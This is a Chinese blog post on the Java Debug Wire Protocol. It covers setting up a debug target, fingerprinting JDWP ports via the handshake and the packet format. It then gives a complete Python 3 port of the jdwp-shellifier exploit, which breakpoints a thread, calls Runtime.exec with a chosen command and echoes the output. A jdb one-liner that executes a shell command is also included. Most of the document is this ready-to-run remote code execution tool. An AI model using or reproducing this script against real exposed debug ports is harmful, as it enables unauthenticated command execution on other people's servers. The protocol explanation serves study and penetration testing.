java jdwp协议

前言:python2转化python3的jdwp利用脚本有问题,索性有时间所以就来学习下java jdwp协议,顺便记录点笔记

参考文章:https://en.wikipedia.org/wiki/Java_Debug_Wire_Protocol
参考文章:https://www.cnblogs.com/zpchcbd/p/15152452.html
参考文章:https://docs.oracle.com/javase/8/docs/platform/jpda/jdwp/jdwp-protocol.html
参考文章:https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py
参考文章:https://forum.butian.net/share/1232

什么是jdwp协议

Java Debug Wire Protocol(JDWP)是一种通信协议,是Java Platform Debugger Architecture的一部分。它用于调试器和Java虚拟机之间的通信,Java虚拟机进行调试。它允许在其他计算机上调试进程,可以通过网络套接字或共享内存工作。

jdwp环境搭建

print

TestJdwpMain.java

public class TestJdwpMain {
    public static void main(String[] args) throws IOException {
        System.out.println("hello world");
    }
}

这里先将java文件进行编译,然后通过jdb来进行调试,jdb跟java的debugger一样具有调试功能,是jdk自带的命令行调试工具

javac TestJdwpMain.java
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 TestJdwpMain
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005

在jdb中先通过stop指令来进行断点,然后run指令,接着通过step指令来单步往下走直到结束,结果如下图所示

stop in java.io.PrintStream.println(java.lang.String)
run
step
step

jdwp端口的识别

jdwp除了特定的指纹JDWP-Handshake发送否则都是返回无信息,结果如下图所示

import asyncio
async def get_jdwp():
    reader, writer = await asyncio.open_connection('127.0.0.1', 5005)
    writer.write(b'JDWP-Handshake')
    await writer.drain()
    result = await reader.read(1024)
    print(result)
    writer.close()
if __name__ == '__main__':
    l = asyncio.get_event_loop()
    l.run_until_complete(get_jdwp())

发送特定指纹JDWP-Handshake返回的信息

发送非特定指纹JDWP-Hanaadshake返回的信息

jdwp的命令执行

参考代码:https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-shellifier.py

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=5005
threads
stepi
eval java.lang.Runtime.getRuntime().exec("open -a Calculator.app")

jdwp的通信协议

通信包的数据格式

  • Length表示整个数据包的长度。因为包头的长度是固定的 11 bytes,所以如果一个 Command Packet 没有数据部分,则 Length 的值就是 11。
    Id:是一个唯一值,用来标记和识别 Reply Packet 对应的 Command Packet。Reply Packet 与它所回复的 Command Packet 具有相同的 Id,异步的消息就是通过 Id 来配对识别的。

  • Flags用来标识数据包是 Command Packet 还是 Reply Packet,如果Flags是0x80就表示是一个Reply Packet,如果Flags是0就表示是一个 Command Packet。

  • Command Set:用来定义Command的类别,相当于一个Command的分组,一些功能相近的Command被分在同一个Command Set中。Command Set的值被划分为 3 个部分:

0-63:从debugger端发往被调试JVM的命令;
64–127:从被调试JVM的命令发往debugger端的命令;
128–256:预留的自定义和扩展命令

比如想要发送一个VERSION_SIG的指令获取版本信息则可以通过(1,1)的标识符来进行发送,在官方文档中可以看到对应的命令序号在VirtualMachine Command Set (1)的Version Command (1)中,如下图所示

通过抓包开头的11个请求包中也可以进行观察到,末尾的2个字节就是代表的(1,1)

  • Error Code:用来表示被回复的命令是否被正确执行了。零表示正确,非零表示执行错误。

  • Data:数据部分的内容和结构依据不同的 Command Packet 和 Reply Packet 都有所不同。比如请求一个对象成员变量值的Command Packet,它的data中就包含该对象的id和成员变量的id。而

  • Reply Packet 中则包含该成员变量的值。

Command Packet发送包的数据格式(长度11字节)

11个字节的长度是固定的,传输的数据部分长度不固定

Reply Packet接受包的数据格式(长度11字节)

11个字节的长度是固定的,传输的数据部分长度不固定

jdwp攻击脚本原理

主要进行了下面四个步骤

每次发送11个字节的数据包的构造

    def create_packet(self, cmdsig, data=b""):
        flags = 0x00
        cmdset, cmd = cmdsig
        pktlen = len(data) + 11
        pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd)
        pkt += data
        self.id += 2
        return pkt

第一个步骤就是发送handshake包来确定是否是jdwp服务

第二个步骤就是发送IDSizes Command指令,标识符为(1,7),在后面调用方法的时候需要用到referenceTypeIDSize,referenceTypeIDSize需要用IDSizes指令获取

第三个步骤就是发送IDSizes Command指令,标识符为(1,1),获取java版本信息,这个方法可有可无,因为通过搜索并没有发现后面该方法获取的数据

第四个步骤就是发送AllClasses Command指令,标识符为(1,3),获取目标VM当前加载的所有类的引用类型,后面需要用到

接下来就是调用runtime_exec,首先获取Runtime类索引

runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;")
jdwp.get_methods(runtimeClass["refTypeId"])

接着获取getRuntime方法索引

getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime") 

通过要下断点方法的的类索引来获取要下断点方法的索引

c = jdwp.get_class_by_name(break_on_class.encode())
jdwp.get_methods(c["refTypeId"])
m = jdwp.get_method_by_name(break_on_method.encode())

通过EVENT_BREAKPOINT指令在对应的类的方法下断点

loc = struct.pack(">B", TYPE_CLASS)
loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
loc += struct.pack(">II", 0, 0)
data = [(MODKIND_LOCATIONONLY, loc), ]
rId = jdwp.send_event(EVENT_BREAKPOINT, *data)

恢复运行vm虚拟机,等待触发断点

jdwp.resumevm()
while True:
    buf = jdwp.wait_for_event()
    ret = jdwp.parse_event_breakpoint(buf, rId)
    if ret is not None:
        break

触发断点,解析当前断点所在的信息,比如所在的线程以及位置

rId, tId, loc = ret
jdwp.clear_event(EVENT_BREAKPOINT, rId)

跟上面演示的jdb一样,当拿到了调试器的控制权那么就可以执行Runtime.getRuntime()的对象的对应命令了

将要执行的命令进行格式化,在jdwp中传的数据都需要进行对应的规范化CreateString Command (11),该指令的标识符是(1, 11)

cmdObjIds = jdwp.createstring(command.encode())
cmdObjId = cmdObjIds[0]["objId"]

接下来通过invokestatic调试Runtime的getRuntime方法来获取Runtime对象

buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

获取Runtime对象的exec方法

execMeth = jdwp.get_method_by_name(b"exec")

调用exec方法,参数为cmdObjId在虚拟机中对应的索引值,就是要执行的命令

data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)

最终结果如下图所示

回显

def echo_command_result(jdwp, threadId, retId):
    processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;")

    if processClass is None:
        return False

    jdwp.get_methods(processClass["refTypeId"])
    getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream")
    if getInputStreamMethod is None:
        return False

    data = []
    buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;")
    jdwp.get_methods(inputStreamReader["refTypeId"])

    inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V")
    if inputStreamReaderMethod is None:
        return False

    data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)]
    buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;")
    jdwp.get_methods(bufferedReader["refTypeId"])

    bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V")
    if bufferedReaderMethod is None:
        return False

    data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)]
    buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;")
    if readlineMethod is None:
        return False
    while True:
        data = []
        buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data)
        if buf[0] != TAG_STRING:
            break
        else:
            retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
            res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId))
            return res.decode()
    return ''

对于java中的代码可以理解为

public class TestJdwpMain {
    public static void main(String[] args) throws IOException {
        Process whoami = Runtime.getRuntime().exec("whoami");
        InputStream inputStream = whoami.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        String line;
        while((line = bufferedReader.readLine()) != null){
            System.out.println(line);
        }
    }
}

python3 jdwp利用脚本

import socket
import time
import sys
import struct
import urllib.request, urllib.parse, urllib.error
import argparse
import traceback
import pdb

################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = b"JDWP-Handshake"

REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80

# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)
NEWINSTANCE_SIG = (3, 4)

# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1


################################################################################
#
# JDWP client class
#
class JDWPClient:

    def __init__(self, host, port=8000):
        self.host = host
        self.port = port
        self.methods = {}
        self.fields = {}
        self.id = 0x01
        return

    def create_packet(self, cmdsig, data=b""):
        flags = 0x00
        cmdset, cmd = cmdsig
        pktlen = len(data) + 11
        pkt = struct.pack(">IIBBB", pktlen, self.id, flags, cmdset, cmd)
        pkt += data
        self.id += 2
        return pkt

    def read_reply(self):
        header = self.socket.recv(11)
        pktlen, id, flags, errcode = struct.unpack(">IIBH", header)

        if flags == struct.pack(">B", REPLY_PACKET_TYPE):
            if errcode:
                raise Exception("Received errcode %d" % errcode)

        buf = b""
        while len(buf) + 11 < pktlen:
            data = self.socket.recv(1024)
            if len(data):
                buf += data
            else:
                time.sleep(1)
        return buf

    def parse_entries(self, buf, formats, explicit=True):
        entries = []
        index = 0

        if explicit:
            nb_entries = struct.unpack(">I", buf[:4])[0]
            buf = buf[4:]
        else:
            nb_entries = 1

        for i in range(nb_entries):
            data = {}
            for fmt, name in formats:
                if fmt == "L" or fmt == 8:
                    data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0])
                    index += 8
                elif fmt == "I" or fmt == 4:
                    data[name] = int(struct.unpack(">I", buf[index:index + 4])[0])
                    index += 4
                elif fmt == 'S':
                    l = struct.unpack(">I", buf[index:index + 4])[0]
                    data[name] = buf[index + 4:index + 4 + l]
                    index += 4 + l
                elif fmt == 'C':
                    data[name] = buf[index]
                    index += 1
                elif fmt == 'Z':
                    t = buf[index]
                    if t == 115:
                        s = self.solve_string(buf[index + 1:index + 9])
                        data[name] = s
                        index += 9
                    elif t == 73:
                        data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0]
                        buf = struct.unpack(">I", buf[index + 5:index + 9])
                        index = 0
                else:
                    raise Exception("Unknown entries")
            entries.append(data)
        return entries

    def format(self, fmt, value):
        if fmt == "L" or fmt == 8:
            return struct.pack(">Q", value)
        elif fmt == "I" or fmt == 4:
            return struct.pack(">I", value)

        raise Exception("Unknown format")

    def unformat(self, fmt, value):
        if fmt == "L" or fmt == 8:
            return struct.unpack(">Q", value[:8])[0]
        elif fmt == "I" or fmt == 4:
            return struct.unpack(">I", value[:4])[0]
        else:
            raise Exception("Unknown format")

    def start(self):
        self.handshake(self.host, self.port)
        self.idsizes()
        self.getversion()
        self.allclasses()
        return

    def handshake(self, host, port):
        s = socket.socket()
        try:
            s.connect((host, port))
        except socket.error as msg:
            raise Exception("Failed to connect: %s" % msg)

        s.send(HANDSHAKE)

        if s.recv(len(HANDSHAKE)) != HANDSHAKE:
            raise Exception("Failed to handshake")
        else:
            self.socket = s

        return

    def leave(self):
        self.socket.close()
        return

    def getversion(self):
        self.socket.sendall(self.create_packet(VERSION_SIG))
        buf = self.read_reply()
        formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
                   ('S', "vmVersion"), ('S', "vmName"), ]
        for entry in self.parse_entries(buf, formats, False):
            for name, value in entry.items():
                setattr(self, name, value)

    @property
    def version(self):
        return "%s - %s" % (self.vmName, self.vmVersion)

    def idsizes(self):
        self.socket.sendall(self.create_packet(IDSIZES_SIG))
        buf = self.read_reply()
        formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
                   ("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
        for entry in self.parse_entries(buf, formats, False):
            for name, value in entry.items():
                setattr(self, name, value)
        return

    def allclasses(self):
        try:
            getattr(self, "classes")
        except:
            self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
            buf = self.read_reply()
            formats = [('C', "refTypeTag"),
                       (self.referenceTypeIDSize, "refTypeId"),
                       ('S', "signature"),
                       ('I', "status")]
            self.classes = self.parse_entries(buf, formats)

        return self.classes

    def get_class_by_name(self, name):
        for entry in self.classes:
            if entry["signature"].lower() == name.lower():
                return entry
        return None

    def get_methods(self, refTypeId):
        if refTypeId not in self.methods:
            refId = self.format(self.referenceTypeIDSize, refTypeId)
            self.socket.sendall(self.create_packet(METHODS_SIG, data=refId))
            buf = self.read_reply()
            formats = [(self.methodIDSize, "methodId"),
                       ('S', "name"),
                       ('S', "signature"),
                       ('I', "modBits")]
            self.methods[refTypeId] = self.parse_entries(buf, formats)
        return self.methods[refTypeId]

    def get_method_by_name(self, name):
        for refId in list(self.methods.keys()):
            for entry in self.methods[refId]:
                if entry["name"].lower() == name.lower():
                    return entry
        return None

    def get_method_by_signature(self, refTypeId, signature):
        for method in self.methods[refTypeId]:
            if method['signature'] == signature:
                return method
        return None

    def getfields(self, refTypeId):
        if refTypeId not in self.fields:
            refId = self.format(self.referenceTypeIDSize, refTypeId)
            self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId))
            buf = self.read_reply()
            formats = [(self.fieldIDSize, "fieldId"),
                       ('S', "name"),
                       ('S', "signature"),
                       ('I', "modbits")]
            self.fields[refTypeId] = self.parse_entries(buf, formats)
        return self.fields[refTypeId]

    def getvalue(self, refTypeId, fieldId):
        data = self.format(self.referenceTypeIDSize, refTypeId)
        data += struct.pack(">I", 1)
        data += self.format(self.fieldIDSize, fieldId)
        self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data))
        buf = self.read_reply()
        formats = [("Z", "value")]
        field = self.parse_entries(buf, formats)[0]
        return field

    def createstring(self, data: bytes):
        buf = self.buildstring(data)
        self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf))
        buf = self.read_reply()

        return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)

    def buildstring(self, data: bytes):
        return struct.pack(">I", len(data)) + data

    def readstring(self, data):
        size = struct.unpack(">I", data[:4])[0]
        return data[4:4 + size]

    def resumevm(self):
        self.socket.sendall(self.create_packet(RESUMEVM_SIG))
        self.read_reply()
        return

    def invokestatic(self, classId, threadId, methId, *args):
        data = self.format(self.referenceTypeIDSize, classId)
        data += self.format(self.objectIDSize, threadId)
        data += self.format(self.methodIDSize, methId)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)
        self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data))
        buf = self.read_reply()
        return buf

    def invoke(self, objId, threadId, classId, methId, *args):
        data = self.format(self.objectIDSize, objId)
        data += self.format(self.objectIDSize, threadId)
        data += self.format(self.referenceTypeIDSize, classId)
        data += self.format(self.methodIDSize, methId)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)

        self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
        buf = self.read_reply()
        return buf

    def solve_string(self, objId):
        self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId))
        buf = self.read_reply()
        if len(buf):
            return self.readstring(buf)
        else:
            return b""

    def send_event(self, eventCode, *args):
        data = b""
        data += struct.pack(">B", eventCode)
        data += struct.pack(">B", SUSPEND_ALL)
        data += struct.pack(">I", len(args))

        for kind, option in args:
            data += struct.pack(">B", kind)
            data += option

        self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data))
        buf = self.read_reply()
        return struct.unpack(">I", buf)[0]

    def clear_event(self, eventCode, rId):
        data = struct.pack(">B", eventCode)
        data += struct.pack(">I", rId)
        self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data))
        self.read_reply()
        return

    def wait_for_event(self):
        buf = self.read_reply()
        return buf

    def parse_event_breakpoint(self, buf, eventId):
        num = struct.unpack(">I", buf[2:6])[0]
        rId = struct.unpack(">I", buf[6:10])[0]
        if rId != eventId:
            return None
        tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize])
        loc = -1  # don't care
        return rId, tId, loc

    def newInstance(self, classId, threadId, methId, *args):
        data = self.format(self.referenceTypeIDSize, classId)
        data += self.format(self.objectIDSize, threadId)
        data += self.format(self.methodIDSize, methId)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)

        self.socket.sendall(self.create_packet(NEWINSTANCE_SIG, data=data))
        buf = self.read_reply()
        return buf


def runtime_exec(jdwp, break_on_class, break_on_method, break_on, cmd):
    # 1. get Runtime class reference
    runtimeClass = jdwp.get_class_by_name(b"Ljava/lang/Runtime;")
    if runtimeClass is None:
        return False

    # 2. get getRuntime() meth reference
    jdwp.get_methods(runtimeClass["refTypeId"])
    getRuntimeMeth = jdwp.get_method_by_name(b"getRuntime")
    if getRuntimeMeth is None:
        return False

    # 3. setup breakpoint on frequently called method
    c = jdwp.get_class_by_name(break_on_class.encode())
    if c is None:
        return False

    jdwp.get_methods(c["refTypeId"])
    m = jdwp.get_method_by_name(break_on_method.encode())
    if m is None:
        return False

    loc = struct.pack(">B", TYPE_CLASS)
    loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
    loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
    loc += struct.pack(">II", 0, 0)
    data = [(MODKIND_LOCATIONONLY, loc), ]
    rId = jdwp.send_event(EVENT_BREAKPOINT, *data)

    # 4. resume vm and wait for event
    jdwp.resumevm()

    while True:
        buf = jdwp.wait_for_event()
        ret = jdwp.parse_event_breakpoint(buf, rId)
        if ret is not None:
            break

    rId, tId, loc = ret
    jdwp.clear_event(EVENT_BREAKPOINT, rId)

    # 5. Now we can execute any code
    result = runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], cmd)

    jdwp.resumevm()

    return result


def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
    # 1. allocating string containing our command to exec()
    cmdObjIds = jdwp.createstring(command.encode())
    if len(cmdObjIds) == 0:
        return False
    cmdObjId = cmdObjIds[0]["objId"]

    # 2. use context to get Runtime object
    buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
    if buf[0] != TAG_OBJECT:
        return False
    rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    if rt is None:
        return False

    # 3. find exec() method
    execMeth = jdwp.get_method_by_name(b"exec")
    if execMeth is None:
        return False

    # 4. call exec() in this context with the alloc-ed string
    data = [struct.pack(">B", TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId)]
    buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    result = echo_command_result(jdwp, threadId, retId)

    return result


def echo_command_result(jdwp, threadId, retId):
    processClass = jdwp.get_class_by_name(b"Ljava/lang/Process;")

    if processClass is None:
        return False

    jdwp.get_methods(processClass["refTypeId"])
    getInputStreamMethod = jdwp.get_method_by_name(b"getInputStream")
    if getInputStreamMethod is None:
        return False

    data = []
    buf = jdwp.invoke(retId, threadId, processClass["refTypeId"], getInputStreamMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    inputStreamId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    inputStreamReader = jdwp.get_class_by_name(b"Ljava/io/InputStreamReader;")
    jdwp.get_methods(inputStreamReader["refTypeId"])

    inputStreamReaderMethod = jdwp.get_method_by_signature(inputStreamReader["refTypeId"], b"(Ljava/io/InputStream;)V")
    if inputStreamReaderMethod is None:
        return False

    data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, inputStreamId)]
    buf = jdwp.newInstance(inputStreamReader["refTypeId"], threadId, inputStreamReaderMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    isrId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    bufferedReader = jdwp.get_class_by_name(b"Ljava/io/BufferedReader;")
    jdwp.get_methods(bufferedReader["refTypeId"])

    bufferedReaderMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"(Ljava/io/Reader;)V")
    if bufferedReaderMethod is None:
        return False

    data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, isrId)]
    buf = jdwp.newInstance(bufferedReader["refTypeId"], threadId, bufferedReaderMethod["methodId"], *data)

    if buf[0] != TAG_OBJECT:
        return False

    brId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    readlineMethod = jdwp.get_method_by_signature(bufferedReader["refTypeId"], b"()Ljava/lang/String;")
    if readlineMethod is None:
        return False
    while True:
        data = []
        buf = jdwp.invoke(brId, threadId, bufferedReader["refTypeId"], readlineMethod["methodId"], *data)
        if buf[0] != TAG_STRING:
            break
        else:
            retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
            res = jdwp.solve_string(jdwp.format(jdwp.objectIDSize, retId))
            return res.decode()
    return ''


def str2fqclass(s):
    i = s.rfind('.')
    method = s[i:][1:]
    classname = 'L' + s[:i].replace('.', '/') + ';'
    return classname, method


if __name__ == "__main__":
    # -t 127.0.0.1 -p 5005 --cmd id --break-on java.lang.String.indexOf
    classname, meth = str2fqclass('java.lang.String.indexOf')
    cli = JDWPClient('127.0.0.1', 5005)
    cli.start()
    if runtime_exec(cli, classname, meth, 'java.lang.String.indexOf', 'id') == False:
        retcode = 1

posted @ 2023-02-05 00:50  zpchcbd  阅读(629)  评论(0)    收藏  举报